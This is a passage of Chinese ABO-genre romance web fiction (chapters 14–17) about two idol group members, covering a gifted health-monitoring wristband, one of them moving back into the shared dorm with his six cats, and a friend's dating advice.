方柏嘉好奇心一下上来,又把杯子举到眼前,侧头观察起它插在上面的吸管。
吸管的头部有轻微的齿痕,这是方柏嘉向来的毛病,喝饮料的时候喜欢咬吸管,不过这杯他喝了几口就还回去了,磨损程度很浅。
所以……难道汤昼恒不仅没再点一杯,而且还没换吸管?
咦——
方柏嘉又开始咦上了。尽管他也不知道自己在咦什么。
他努力回忆一阵,也没回忆起来汤昼恒以前有没有和别人一起喝
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过同一杯水的例子,最后得出的结论是,应该没有。
如果有,肯定会被其他家cp粉当做大糖拿出来猛嗑,方柏嘉作为一个梦男,难免会被创到留下印象,但他并没有这方面的记忆……
下一秒,意识到自己在分析什么的方柏嘉狠狠甩起脑袋。
够了。
都是alpha,就算用一下沾过对方口水的东西又怎么了,说不定人家根本没当回事儿,你就在这里自我攻略上了,究竟有谁会在意?!
……可我确实会在意啊。
身体里的另一个声音在说。
方柏嘉一通胡思乱想,根本没注意到汤昼恒什么时候已经挂断电话,回到了车上。
然后,事情就演变成了正低身站上来的汤昼恒和举着杯子的方柏嘉眼对着眼、面面相觑的情况。
“……”
“……”
一阵慌乱的沉默后。
方柏嘉干干地一笑,当着汤昼恒的面将他那杯没喝完的咖啡放回原位。
汤昼恒不明就里地越过他,坐回自己的座位,重新打开IPAD之后,又顺手拿起咖啡喝了一口。
“。”这下方柏嘉终于忍不住了。
他在原地踟蹰了一会儿,反复告诫自己别去纠结那些没用的事,但还是过不了心理上这关,最后开口:“那个……”
后边稍微拖长一点尾音。
汤昼恒对着电子设备轻轻嗯了一声,示意他往下说。
方柏嘉再次深吸一口气:“你是没换吸管吗?”
“……?”听到这话,汤昼恒终于缓慢从IPAD屏幕上转过脸来看他。
昏暗的车内光线下,对方扬了扬眉,表情像是思考方柏嘉在整哪出,没有立刻回答。
方柏嘉抿抿唇,把那杯他刚刚碰过的美式拿起来,一鼓作气地换个方式又问一遍:“这个吸管我之前喝过,你知道吧?”
感觉好像问了一句废话,但方柏嘉真的想和他再确认一下。
汤昼恒挑眉的动作幅度更大。
他下意识低头望了眼方柏嘉手里拿着的东西,随后重新抬起眼脸,看向对面的人。
短短两秒之内,脸上的表情进行了一连串相当有层次的递进变化,先是最开始的一怔,再到后来的惊讶、疑惑,接着是最后的沉默和忍俊不禁。
一个没有忍住,鼻腔间发出带着愉悦的气音。
汤昼恒忽然笑起来,碍于方柏嘉在身边,笑得还算克制,两边的嘴角共同牵起一个圆弧。但是依然没说什么,只是轻摇了两下头,目光继续落在面前的IPAD上。
方柏嘉:“…………?”
什么啊。
这个很好笑吗?为什么一句话都不说就又干别的事情去了?
对方的反应让方柏嘉后悔不迭起来,在心里骂自己没事找事。
他感到不满,又担心汤昼恒是在暗中嘲笑自己,脸上一阵热盖过一阵,狐疑又不确定道:“你笑什么?”
“没有。”
汤昼恒看到他的表情,这才止住笑容,虽然看得出有在努力绷紧唇部的线条,但整体向上的形状依然肉眼可见。
明显考虑了两秒该不该说,但大抵最后还是被情感战胜了理智,他没忍住,选择道出口。
“只是觉得你很可爱。”
???
……可爱?
他吗?
得到意想不到的答案,方柏嘉愣了一秒,紧接着脸以刚才十倍的程度快速红温起来,觉得汤昼恒根本就是胡说八道。
自己和可爱有什么关系?
方柏嘉听完人整个傻了,眼睛瞪得很大地一言不发瞧着对方,仿佛刚欣赏了一段外星文,头顶都在冒烟。
话说完,汤昼恒也少见地觉出一点尴尬。
他望着方柏嘉不明显地泛红与显得无措的神色,像是忽然想起什么,有意调整气氛似的从手边掏出个白色崭新包装盒,转身递向他。
“这个给你。”
14. 第 14 章
方柏嘉不明所以地接过来,发现这是某品牌的健康手环。
没记错的话,汤昼恒自己也有一个,方柏嘉以前见他戴过。
他大概猜到对方的意图,盒子拆开,把里面的手表拿出来端详。
听见汤昼恒又介绍:“临时下单让人送过来的。可以检测血液信息素水平,心率和易感值这些,你平常尽量带着,下次如果身体再出现什么特殊状况,有它提前预警,也能大概知道是什么情况。”
见方柏嘉给手表开了机,他便稍微倾身过来,教他怎么给手表设置想要的提醒。
“它还有一个紧急联系功能,当你的身体健康水平达到一定的低数值,手表会做出判断,将信息数据,甚至包括你的坐标定位都发送给我,就算手机不在身边,你也不用担心。”
今天的事情明显给汤昼恒提了个醒。
方柏嘉体质特殊,目前又正在恢复阶段,纵使他们每天都在一起工作见面,也难免会有对方不在自己的视野之内、顾及不到的情况出现。
多个保证总会好些。
方柏嘉认真听着,没注意到汤昼恒甚至没和他商议哪怕一句,就直接默认他的紧急联系人是自己。
大概是因为就算让他自己来选,方柏嘉也想不出第二个人。
“这里。”说话间,汤昼恒食指在一方没有四分之一手掌大的屏幕上轻触一下,“设置,紧急联系人。”
界面上跳出输入手机号码的提示。
方柏嘉没有多想,点开键盘就开始敲击,眨眼间已经连打四五个数字,每个都是对的。
汤昼恒正要给对方口述他的手机号码,见状却又惊异地停下,抬眼不动声色地瞧了瞧方柏嘉心无旁骛的侧脸,心里一动。
他觉得奇怪,在这个很多人连自己刚改过的账号密码都记不住,最多也就记个父母和身边重要朋友的号码的网络时代,方柏嘉居然知道他的手机号?
他们明明除了出道最开始礼节性地交换过联系方式以外,平时根本不怎么用手机联络。
汤昼恒刚开始觉得异样。
下一秒,就见方柏嘉舞动的手指突然停下来,“哎”了一声,转头看他:“你的手机号是多少来着?189……”
他念出自己刚才打出来的那几个数字:“我记的对吗?后面是什么?”
刹那间,异样立刻散去。
“……”
果然,这才是正常的。所以他刚刚在想什么?
汤昼恒在心里暗叹口气,摇了摇头:“是对的。后面是——”
他耐心地念出剩下的数字。
方柏嘉垂眼,顺着对方的话一个数字一个数字地键入。有那么很快的一个瞬间,他在汤昼恒很难看见的角度做了个不明显的鬼脸。
差点暴露了。
还好他及时反应过来,没有露馅。
下次一定要注意,不能再这样疏忽。打起精神来啊方柏嘉!
……
零零总总把该设置的项目都设置好后。
方柏嘉想了想,还是觉得不能白承这个人情,说:“你买这个的价格多少?我微信上把钱转给你吧。”
不然显得自己太心安理得了,又让汤昼恒帮忙又接受他买的东西的。
“?”
身边几秒没有传来回答,方柏嘉狐疑地向对方望去,结果又在汤昼恒的脸上看到了那种似笑非笑的、让人觉得有点不妙的神色。
“不用了,也不贵。”
汤昼恒笑意淡淡,说话间还拿过方柏嘉掏剩下的空包装盒在手里抛了一下:“连一分钟……不对,半分钟的我都买不到。在我们说话的时候,半分钟都早过去了。”
他笑了笑:“你要是觉得过意不去,后面请我喝咖啡吧。”
说着,又拿起手边的冰美式摇了摇。
方柏嘉:“……”
什么半分钟的他。
方柏嘉满脸茫然地呆了一秒才反应过来,这是他自己之前说过的五分钟十万的梗。
那一分钟就是两万,半分钟就是……
——合着这人怎么到现在还拿这个跟他打趣啊?过不去了是吗?
方柏嘉不可置信地盯着面前的人,表情看起来震惊又茫然。
他窘迫的模样被汤昼恒看在眼里,又笑了笑说:“戴上试试吧。”
方柏嘉用没对着对方那侧的唇角撇撇嘴,低头将手表给自己套上,系好,一边心里偷偷嘀咕。
还请喝咖啡,哼。
之前给你买了你也没要啊。就知道逗别人。
他忽然觉得汤昼恒有点太坏了,怎么以前不知道他这么坏。
“喏。”方柏嘉戴好手表,举起一点手腕,示意对方。
“平常只要不到必须摘下来的时候,都尽量戴着。”汤昼恒温和道,“有事也可以和我联系。”
他说完,却还是看着方柏嘉。
“?”
方柏嘉实在受不了对方的注视,忍不住问:“是还有什么事吗?”
这会儿工作人员都在外面收拾各种器材道具,连司机都不在这儿,车里只有他们两人,好古怪。
正当方柏嘉快要抗不住了,准备移开目光的时候。
汤昼恒忽然又张口:“是还有一件事想和你商量。”
“过两天我想搬回宿舍,你觉得怎么样?”
“搬回……宿舍?”
方柏嘉一阵讶然,像好一会儿都没明白过来对方的意思。
他人还没做出反应,身体却暴露了他的想法。
眼睑下方的位置迸发出一阵亮光,手腕上刚刚还熄着屏的健康手表突然发出警告,吸引着二人同时向下看去。
呈现在眼前的,赫然是手表监测到方柏嘉情绪波动而弹出来的心跳异常提醒。
“您的心率已达到109次每分——”汤昼恒顺着上面的字读出声。
还没读完,声音就停顿了。
他抬起眼,看向方柏嘉。
方柏嘉:“…………”
这什么鬼啊!
方柏嘉此刻恨不得直接把这破手表拆了然后
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甩出去,但是不能。
一来这很容易显得他像是恼羞成怒地在破防,二来这怎么说也是汤昼恒花钱买来送给他的,他没有随意处置的权利。
方柏嘉将手缓缓收回,用另一只手的掌心严严实实地盖住屏幕。眼睛移开,看向一旁,决定装作刚才那一出小小的插曲并没有发生。
接着,仿佛为了掩饰什么一般的,他清了清嗓子迅速开口:“你不是之前说,你的猫搬来搬去不方便,所以先不考虑住宿舍?”
紧张加上语气急促,让他的头两字听起来甚至有点尖锐。
这也确实是方柏嘉心中首先跳出来的疑问。
那也就是一星期前的事,他还记得,当时陆翰音劝汤昼恒回来一起住,对方都没怎么考虑就拒绝了,怎么现在突然又要搬?
汤昼恒见他明显一副要转移注意力的样子,先是怔了怔,随后也道:
“搬来搬去确实是我的一个顾虑,不过不是最大的。接下来两三个月都是活动期,肯定是住在宿舍上下班最方便,把猫接过来,每天下班回家也不需要两边来回跑。所以我才来问问你对这件事有什么看法。”
“毕竟现在,还要考虑到你每星期一次的‘治疗’,我想了想,觉得我搬回去帮你脱敏也更顺手,不用每次还得临时再找借口去宿舍找你。你觉得呢?”
方柏嘉:“唔——”
汤昼恒回宿舍,最大受益人就是他,他能有什么看法?
方柏嘉有点糊涂,抓着手腕的五指下意识紧了紧,说:“宿舍本来也不是我一个人的,你想搬就搬吧,为什么要说和我商量?我本来也没不同意。”
说得好像他有一票否决权一样。
汤昼恒沉默半秒,看着他扬了扬眉:“是吗?我还以为……”
吐出这几个字,他却没再往下说。
方柏嘉脑袋顶上冒出三个大大的红色问号。
以为什么?怎么卡在这里?
对方的欲言又止成功地吊起了他的好奇心,尤其当方柏嘉突然意识到,汤昼恒后面的回答大概率和自己有关,尽管知道接下来的内容可能并不会是他想听的,方柏嘉还是禁不住问:“什么?”
见他催促,汤昼恒这才回答:“我以为你讨厌我。”
……?
???
?????
这是怎么得出来的结论?
这个人是在跟自己开玩笑吗?
方柏嘉整个人都凌乱了,一头雾水地道:“……为什么这么说?”
也许是他脸上的表情震惊得太过意外,汤昼恒接着补充:“也不能说是讨厌,但就是,”他沉吟了一下,“看不太惯吧。可能对我比较有意见,因为之前总感觉你在避开我。”
汤昼恒抬眼看他,似乎在组织着词汇。
“我想帮你拎东西的时候,在电梯里的时候。还有那次在练习室里,你说我的外套……那会儿我就觉得,你是不是不喜欢我的味道,从而导致不太喜欢我这个人。所以我一直在想,会不会我还是在外面住比较好。”
15. 第 15 章
“……”
方柏嘉已经不想再听到关于外套的事了。
自己的黑历史又被提起,他尴尬得有点无地自容:“那个我已经解释过了。”
“对。”汤昼恒说,“所以我觉得,我们之间可能还有一点误会。”
他讲得慢慢的,很有条理,听起来没有控诉的意味,只是在陈述。
说话时那双被粉丝夸赞总是看起来很深情的眼睛一动不动地认真望着方柏嘉,让被他注视的人很难不感到一丝愧疚和负罪感。
方柏嘉莫名红了脸,扛不过三秒,默默移过头,突然间反应过来——
听汤昼恒的意思,对方还是因为觉得他不会同意才一直不搬回来住?
合着自己还是罪魁祸首?
他感到棘手地摸了摸自己的眉毛,觉得这误会可大了去了。
说实话,方柏嘉在此之前一直觉得自己挺委屈的。
他虽然日常不会像其他队友那样和汤昼恒自然亲切地聊天打闹,但基本的礼貌还是有的。汤昼恒作为队长组织他们做什么事的时候,方柏嘉从来不会故意捣乱。
要说上次直播……他确实是冲动了,可那也不是没有原因,方柏嘉绝大多数时间都不会这么做。
他始终觉得,虽然外界都那么传,自己和汤昼恒的关系应该也没差到那个份上吧?就是经常在一起但是又不那么熟的同事。
之前总对汤昼恒反应冷淡,也是因为他的味道对方柏嘉来说诱人得太具有侵略性了。
对方一靠近他,方柏嘉就条件反射地慌乱起来,很容易反应过度、口不择言,更别提再去伪装得自然。
而他又是那种面无表情起来就显得很不耐烦的类型,表现在明面上,就变成了网友口中的对汤昼恒没有好脸色。
现在汤昼恒明晃晃地告诉方柏嘉,对方一直觉得他讨厌他。
方柏嘉才知道原来不仅仅是网友,就连汤昼恒本人都是这么想的。
这简直是千古奇冤。
他一张脸慢慢涨热,好半天才从这种受打击的状态中回过神来,这会儿什么也顾不上了,只想着为自己正名。
“你……应该知道你的味道对我来说挺有吸引力的吧。”方柏嘉一通搜肠刮肚,嗓音闷闷地道。
他本来想说“比较有吸引力”,想了想觉得这样有点太掩耳盗铃,干脆还是直白了当地讲了。
汤昼恒没有说话,颔首默认。
方柏嘉:“那你应该也能……不对,你一定知道,我是喜欢alpha的。”
不管是易感期那一回他的表现,还是在医院林主任说的那些令人尴尬的话。什么发育错误导致取向异常乱七八糟的。
话又说回来,心知肚明和真的面对面地谈起这件事时的感觉还是不一样的。
方柏嘉越说越感到别扭,说话语速也愈发的慢,几乎就要后悔了。
但在那之前,他还是破罐破摔地硬着头皮把剩下的话说出口:“我从小就对其他alpha的信息素很敏感,具体原因你也知道,AO本来就容易被激素吸引,然后你又刚好对我来说很好闻,我——”
说到这里,方柏嘉像卷住了磁带的复读机般卡了下壳。
“我……绝对不是讨厌你的味道。”
“也不是讨厌你。”
“我就是,面对你的时候会紧张。”
老天,我在说什么。
方柏嘉说完后立刻瞪大眼睛。
这和直接跟汤昼恒讲“其实我暗恋你”有什么区别。
怕对方想到别的方面去,方柏嘉赶忙此地无银三百两地补充:“呃——我不是说对你有什么‘那种’的感觉啊,就是,你知道的,这种生理因素也不是人为能控制得住的。”
“抱歉之前给你造成了困扰,但我确实、真的没有讨厌你……但也不是说喜欢你!”
他讲到最后一句,陡然拔高了音量,察觉到自己表现得太不自然,声音又落了下来,不太自信地看着汤昼恒。
到了汤昼恒眼里,就变成他在急于和自己划清界限。
开头说过的话,到最后居然又变着法地强调了一遍。
可以看出对方有多不想让自己误会。
汤昼恒:“嗯……”
大概知道了。
就是对自己这个人的感觉说不上喜欢也说不上讨厌,主要是喜欢他的信息素。而且方柏嘉也需要他的味道,之后难免还会有要亲密接触的时候,现在说这些,多半是为了不让他产生多余的错觉。
“你这么说我理解了。”
毕竟方柏嘉也说过“认错人了”什么的。
但他又说自己没有在交往的对象。诡异。
仿佛为了印证他的猜想似的,方柏嘉肉眼可见地长出了一口气。
“那就好。”
你最好是真信了,他在心中暗忖。
方柏嘉略感狐疑,总觉得汤昼恒有点太好说服了些,他表现得这么可疑,对方不应该怀疑些什么吗?
还是方柏嘉对自己的判断有误,其实他在演戏方面也还算有潜力?
……懒得想那么多了,能糊弄一时是一时。
好累,每次跟汤昼恒聊完怎么都那么累。
感觉跟刚跑完马拉松差不多。
接着,就听汤昼恒道:“那我们说好了,过几天我就搬回去。”
*
晚上汤昼恒回了住所,立刻开始收拾起一部分行李。
他才从剧组回来没一个月,许多从那边带来的东西都还装在箱里,几乎是原封不动。
汤昼恒挑着要带去宿舍的、可能会用到的东西,手机被压在沙发最下面,嗡嗡震动了许久才被他发现。
“给你发了那么条消息你不回。”
电话终于接通,手机对面的人大喇喇地抱怨:“怎么样,《闪回》那个本子你接不接,我听说他们最近在接触你。你要是接了,过几个月咱哥几个又能在竖店一块打球吃火锅了。”
说话的人叫秦高阳,是汤昼恒从前还没当爱豆时演戏认识的圈内好友。
“流程差不多走完了,过两天去签一下合同。”汤昼恒将手机按在肩膀和双耳中间,稍微侧着头清点手上的物品,“刚刚在忙别的,没看见。”
“那感情好啊。”秦高阳很是兴奋。
两人聊了一会儿档期分配的话题,听说汤昼恒在整理搬家的行李,秦高阳便表示不打扰了,正准备挂断通话,汤昼恒忽然又道:“等等。”
他若有所思,慢慢地说:“我有个问题,想向你咨询一下。”
秦高阳:“什么?”
真到了要开口的时候,汤昼恒反而又有点迟疑。
他酝酿了数秒:“如果,有这么一个人。”
“他在不清醒的状态下,不小心对你做出了一些亲密的举动,过后却跟你说他认错人了,但是在一些……嗯,需要你的场合,又声称自己并没有交往对象,而且也表现得很喜欢你的信息素,这代表了什么?”
汤昼恒一直都是很
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有主见的人,日常生活中极少主动征询别人的意见,之所以这么问,是因为这个念头最近一直在困扰着他。
今晚与方柏嘉的谈话结束后,困惑非但没有如同迷雾一般散去,反而又被勾起,愈渐加深,怎么也想不通。
秦高阳听完汤昼恒说的话,差点惊掉下巴。
他无比诧异:“你给我等等,这什么时候的事?什么叫‘不清醒的状态下做出了一些亲密举动’,是我想的那样吗?这也太劲爆了吧,你小子什么时候背着我们玩这么大了?!”
“……”
他就知道不该问。
汤昼恒按了按眉心:“你在想什么?并没有到那个地步。你只要回答我的问题就好。”
“行行行,”秦高阳道,“但我需要一点更多的信息。跟我说说,你和TA现在是什么情况?”
汤昼恒:“我们偶尔还是会有一点亲密举动。”
“嗬。”听筒里传来秦高阳意味不明的声音。
“但是亲密举动过后,他也会强调自己并不喜欢我。”
秦高阳:“哇——”
“……”
汤昼恒太阳穴上的青筋一跳,俊美的脸上难得闪过一丝杀意:“你要是不能好好回答问题,我就去找别人了。”
秦高阳:“。”
“你想听我说实话吗。”
汤昼恒:“你讲。”
秦高阳:“哥们儿,你好像成备胎了。”
汤昼恒:“。”
电话那边的人沉默着。
秦高阳也不等他回答,自顾自长篇大论地分析:“这难道不明显吗?他生理上对你有意思,心理上又对你没意思——呃我说话比较直你别介意,他肯定是馋你身子又不想和你有太深的关联,所以才要时不时提醒你一下,免得你认真。”
“我根据你说的他说过‘认错人了’来分析,这个人心里大概率有个喜欢的对象。可能因为对方不喜欢他,也可能他们目前还维持在一种不太正当的非情侣关系里,所以就把你当成备用选项了。”
“你也说了,TA好像很喜欢你的信息素,那生理吸引就是这样的咯,成年人嘛,既然最喜欢的那个得不到,搞点代餐吃吃也是可以的。”
汤昼恒再次:“……”
代餐。
对方依旧不出声,秦高阳估摸着他可能受到打击了,又赶忙补充:“其实我这也只是猜想,理论上说,也有一些omega是会故意讲反话的。先说一句不喜欢让alpha患得患失怀疑自己的魅力,然后再表现出对对方感兴趣的样子,这时候alpha就会觉得他机会来了,全身心地投入追求,omega再尽情享受,钓人玩暧昧嘛。”
秦高阳:“你要是不确定的话,要不然,你试探他一下?”
汤昼恒此时早就已经不在收拾东西了。
一只小猫路过他的身边,他蹲下来,顺势拿起放在一旁地毯上的梳子给他梳毛。
沉默地品鉴了一会儿对方的分析,他没有刻意纠正秦高阳的性别认知问题,不置可否道:“怎么试探?”
“试着制造一些不过分的亲密接触,看看对方的反应。如果TA表现得很抗拒,那就说明TA应该是真的对你没兴趣,只想‘各取所需’。”
“如果这个omega并没有反对你这么做,甚至很享受暧昧……你懂我的意思。”
抓着手机的汤昼恒听到这里掀起眼皮,另一只手上伺候猫主子的动作也顿了顿。
制造暧昧?
16. 第 16 章
MV总共耗时四天拍摄完毕,汤昼恒的效率很快,说要搬回宿舍,过完两天就把自己那六只猫加上大大小小的行李送货上门。
他给它们喷了镇定喷雾,也拜托方柏嘉在宿舍提前插上了相同功效的扩散器,主子们跟着汤昼恒每年几趟下来跑习惯了,从小社会化做得不错,没过多久,就陆陆续续在房间里到处探索起来。
“……”
方柏嘉趁着汤昼恒在浴室里洗澡的功夫,悄悄从房间里溜出来看小动物。
见到此情此景,不由在心里感叹,好多猫。
一屋子都是汤昼恒带来的家属在咪咪喵喵地跑来跑去。
只有一只品种的,剩下几只都是花色各异的田园猫,全是汤昼恒路边捡来或者领养的。
方柏嘉瞅准时机,趁着一只玳瑁从自己腿边经过时猛地弯腰抱起它,举到眼前打招呼。
“砸手里?你就是砸手里吧?”
方柏嘉有印象,这只应该是汤昼恒去年九月份在衡店捡的猫。
汤昼恒是出了名的爱猫人士,猫缘也好,出去拍戏、上节目、出门吃个饭都能在路边拎只猫回家。
捡的猫太多,有品相不错,性格也黏人的,汤昼恒都会想办法送给圈里想养宠物的朋友。据粉丝统计,这些年陆陆续续被汤昼恒送出去的猫起码有十来只。
“砸手里”是个意外,它的外表用通俗一点的话说,丑得很牛逼。
长得抱歉也就算了,性格也不是特别温柔黏人的类型。线下曾有粉丝问汤昼恒为什么不给砸手里找领养,汤昼恒的回答是担心它就算被送养出去也会遭嫌弃,只能自己留着。
方柏嘉仔细观察了下这只玳瑁的脸。
“哇……”真的有点艺术在的。
砸手里被抱久了,不知道是不是方柏嘉姿势不对,搞得它不舒服,开始挣扎起来。
方柏嘉吓了一跳,赶忙把它放在地上,转身却被一只正从沙发那边朝他走来的猫吸引了注意。
这是一只颇为圆润、看起来随处可见的田园橘白,方柏嘉一看到它,心中油然升起一种亲切之感,朝它伸出手臂“咪咪”地叫了两声。
本只是试探一下,没想到橘白听了,真的走过来,热情地用脑袋顶他。
方柏嘉如获恩宠地蹲下身,不是很熟练地一遍遍顺着它的头顶捋到背脊:“没见过你呢。”
他低声地自言自语。
汤昼恒虽然有好几只猫,但不是每只猫都会出镜,只有兴致来了才会偶尔拍一两张照片上传到微博上,方柏嘉今天一瞧,才发现有好几只他都不认识。
“像你这样的猫是不是真的很多啊?”方柏嘉挠了挠它的脑袋,“以前我也遇到过一只,可惜我和它没缘分。”
感受着手心中毛茸茸的顺滑触感,方柏嘉不由有点出神。
那是他还没出道时发生的事了。方柏嘉在从公司回练习生宿舍的路上遇见一只生了病的小流浪猫,照顾了它一阵,实在没有钱也没地方养,最后几经辗转,送给了同一个公司的糊糊艺人。
方柏嘉跟他加了微信,头几个月还会时不时问一下对方小流浪猫的近况,后来确定小猫在新主人那里过得不错,便没怎么再打扰。
汤昼恒养的这只橘白重新勾起了方柏嘉的思念之情,回到房间,他立刻拿起手机切小号去领养人的微博主页逛了一圈——
很好,果然还是没猫。
方柏嘉早先想看小猫又不好意思主动去问,第一时间想到的也是去翻社交媒体。结果对面大概不怎么喜欢暴露隐私,发的所有日常生活照里都看不到猫的身影。
微信朋友圈就更别提了,方柏嘉从来没见到对方的主页有过什么东西。
他猜领养人用来加他的一定是个小号,不过他们这个圈子,人均至少两个号是很常见的事,方柏嘉也没有理由去抱怨。
他从微信通讯录里找出小猫领养人的账号,思索再三,发送。
方柏嘉:【你好,想问下猫怎么样了?可以发张最近的照片看看吗?[笑脸]】
*
次日早晨,铃声响起过两轮。
方柏嘉头埋在被窝里睡得正香,卧室外陡地传来一阵清脆的敲门声。
“谁啊。”他意识朦胧间烦躁地在床上翻了个身,本不欲理会。忽然想到陆翰音平时敲门不会这么有礼貌,那门外的是谁——难道是经纪人上门来催?
想到这里,方柏嘉一把掀开被子坐了起来。
“等一下,我马上过来!”他抬高音量困倦地喊着,一边手忙脚乱地从床头柜上摸来一张新的阻隔贴,呲牙咧嘴地给自己贴上,再三确认粘合无误,这才打着哈欠走去门边。
一打开门,方柏嘉整个人呆住。
汤昼恒就站在门外,眉宇间神清气朗,见到方柏嘉,冲他露出淡淡的微笑示意:“早上好,呃——”
他忽然顿住,视线下移,在方柏嘉身上扫视一圈,看见他翘得纷飞的头发,以及身上歪斜的睡衣,微微挑起一边眉毛:“我是打扰到你睡觉了吗?”
方柏嘉愣了一下才答:“没有。”
他梦游似的喃喃:“……是有什么事吗?”
汤昼恒眨了眨眼:“我是想问,你有没有见过我的猫?”
对方的目光稍微往左移了移,似在往方柏嘉的房内望去,但没得到卧室主人的许可,又很快挪了回来。
“我刚刚给它们添粮,发现有一只不见了,问了小陆,他说不在他那,就来看看你这边。”
“啊?哦,对。”方柏嘉听他这么一说才反应过来。
他睡前有关门的习惯,昨晚照常洗漱完准备睡觉,那只亲人的橘白趁他不注意,追在他身后跟着钻进了门里。
方柏嘉前脚刚把它抱出去,后脚它又自个儿流体似的扭回来了,方柏嘉便没再管它,把门留了条缝,方便猫后边自己出去。
结果也不知道是怎么回事,今早起来门居然关着——大概是被猫碰上的。
他转身返回房里,向汤昼恒解释:“它昨天是跟着进了我的房间来着,我也赶不走它,就把它留下来了……咦,猫呢?”
方柏嘉满卧室寻找橘白的影子,床上,不在。地上,也没有。
正当他心里一紧的时候,方柏嘉掀开窗帘,终于在飘窗上发现了蹲在那里俯视楼下小区景色的大猫。
他松了口气:“原来在这儿。”
方柏嘉把猫给汤昼恒抱了出来:“不好意思啊,我下次看紧点。”
其实心想,猫跟我睡一晚又怎么了,你六只猫宠幸得过来吗。
汤昼恒浑然不知他的心理活动,笑了笑道:“没事,它本来就喜欢往别人房间里钻,你要是不嫌弃它,让它跟你睡也行。”
“别人房间?”方柏嘉抬起眼睛,有点诧异地跟着重复一遍,“它不是住你家吗?”
平时就待在对方首都的大平层里,怎么会有别人?
“啊。”汤昼恒垂着眼,手伸到他的怀里搔了搔橘白的头,“有时候朋友会去我那住一晚。”
“哦——”方柏嘉维持着这个“哦”的嘴型,把猫又举起来掂了掂,不知为何有点尴尬。
他都有些佩服自己抓重点的能力了,怎么总说一些不该说的话。
飞快瞥对方一眼,方柏嘉没话找话似的说了一句:“话说,这只猫叫什么?我感觉它还挺可爱的。”
其实也就是顺口一问,没有别的心思。
找点话题聊聊,好不让大清早的氛围显得太干巴。
汤昼恒接下来的反应却超出了他的预料。
听到他的话后,对方的表情变得有点奇怪。
仿佛这是一个让人很难回答的棘手疑问,又像有什么难言之隐。
汤昼恒神色出现了片刻定格,眼睛也不自觉地向一旁移开,停顿了足足两秒才缓缓回答:“……它没有名字,平常我都直接喊它‘咪咪’,你想怎么叫就怎么叫吧。”
方柏嘉:“?”骗鬼的吧。
方柏嘉的第一反应是不信。
对方的神态和语气,怎么看都不像在说实话的样子。纵使他的脸上并没有明显的肌肉线条变化,但如果是事实,汤昼恒有必要花时间去想么?
而且明明其他猫都有名字,怎么可能只有这一只单独没有。那也太敷衍了
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。
他往出走了几步,这个角度刚好能看见客厅那边。
方柏嘉随手指着一只不远处的猫,问汤昼恒。
“它叫什么?”
“锅盔。”
手指换了个方向。
“它呢?”
“芝麻馅。”
“还有它,它——”
汤昼恒都一一回复了。
“那这只。”
方柏嘉的手转回到橘白身上。
汤昼恒:“……咪咪。”
估计是连他自己都不相信自己的回答,说完,汤昼恒嘴角的肌肤幅度很小地抿了一下,罕见地露出一点心里没底的表情,像向来沉着稳重、却突然显出心虚的帅气大型犬。
方柏嘉:“……”
不是。前面的名字都起得那么正经又形象,一到这只身上就坍缩了,这对吗?
方柏嘉怀疑汤昼恒在耍自己,又没有证据。
主要对方闲着没事编造这种东西干嘛。
还是说这只猫本来的名字比较尴尬和恶趣味,汤昼恒不好意思跟自己讲,所以只能糊弄过关?
有可能。
到底是人家的猫,方柏嘉心里再怎么悄悄哔哔,面上也说不了什么。
他尬笑两声,把这阵揭过。
*
这天上午有个团体杂志拍摄,七点半就要出门集合。
被汤昼恒一闹,方柏嘉也没心思睡懒觉了,抓了两下头发就去卫生间洗漱。
迷迷糊糊地刷了一会儿牙,像是突然反应过来似的有了实感,方柏嘉睡意渐消,目光也慢慢聚焦起来。
……我靠,现在他和汤昼恒是真的住一起了。
方柏嘉想起这件事还会愣神。
他们组合前后住过三个不同的宿舍,最初两年是所有人都住在一套房子里,后来团体火了,赚到了钱,才变成这种3+3的模式。
因为组合里有人对猫毛过敏,汤昼恒一直把猫养在自己单独的居所里,找了个助理全天照顾他的宠物,遇上回归期就住宿舍,没活动就回去和猫住。
第四年初搬家去了更好的小区,也就是现在这套,成员们才商量着要不要重新安排一下宿舍人员,把能接受和几只猫一起生活的分去和汤昼恒一套房,剩下三人分另一套。
汤昼恒过来问方柏嘉愿不愿意和他一起住的时候,方柏嘉感觉自己人都要晕了。
幸福来得太突然,方柏嘉表面上还得控制好自己的表情,装出一副“看在都是队友的面子上我就帮你一回”的样子,勉为其难地表示可以帮忙。
结果合租生活还没开始,忙于推出新偶像团体的山川相缭见unforbid''em发展得正当红,干脆临时改变计划,把六人送出去各自发展单人事业。
紧接着是长达快一年的空白期。
这次组合回归,汤昼恒一开始也没透露出要带猫过来住宿舍的意思。因此对方再在车里提起搬家这回事时,方柏嘉的心跳才会提升得那么快。
有种兜兜转转心愿还是达成了的感觉。
想到这里,方柏嘉又看了看面前的镜子。本来还担心自己刚起床形象不太好,打量两眼,又觉得还可以啊,除了头发乱点其他都挺好。
毕竟他天生丽质,不化妆都好看得不行。
方柏嘉收回目光,慢吞吞地接着刷牙。
眼神逐渐放空之时,余光范围内的镜子里突然出现一团高大模糊的身影。
伴随一阵轻浅的脚步声,汤昼恒冷不丁拎着他的洗护用品包走进卫生间门,将手中的东西放在洗手台上。
他像是中途从别的地方转场过来的,英俊而有富阳光青春感的下半张脸上甚至还裹着白花花的泡沫。在方柏嘉身后站定,什么话也没说,手持着剃须刀把附着在下颌线上的清洁物慢慢地刮下来。
自然而然得仿佛不是头一次这么做,甚至不需要和方柏嘉打招呼。
头顶卫生间暖光灯的照射下,他优越的骨骼眉眼被衬托得格外突出醒目。
……?
方柏嘉原本还迷迷糊糊,见到此情此景,眼睛立刻缓慢地睁大了。
17. 第 17 章
汤昼恒好像也注意到他的目光,在镜中和方柏嘉对视。
半晌,方柏嘉吐出嘴里的泡沫,有点含糊不清地问:“你怎么……”
到这边来了?
三居室里有两个卫生间,方柏嘉卧室旁就有一个,另一个夹在汤昼恒和陆翰音的房间当中,方柏嘉向来默认这间只有自己用,加上之前一个人住惯了,汤昼恒突然过来,他还有点不习惯。
那边那个难道不能用吗?
汤昼恒走上前,在洗手池边抖掉刀片上的泡沫。
似乎看出方柏嘉脸上的疑惑,向他解释:“小陆急着洗澡,说再不洗赶不上等下去拍摄,我就把卫生间让给他了。”
……行吧。侧耳听听,外面好像是传来了隐约地流水声。
方柏嘉没话可说,继续安安静静地洗漱。
此后的好几分钟里,两人都秉承着互不打扰的态度,各自干着各自的活儿,偶尔在对方需要用到洗手池时让出位置。
过了一会儿。
方柏嘉正准备伸长手臂去够摆在洗手台最右边的洗面奶,刚好赶上就站在他斜后方的汤昼恒将须后水放回洗漱包。
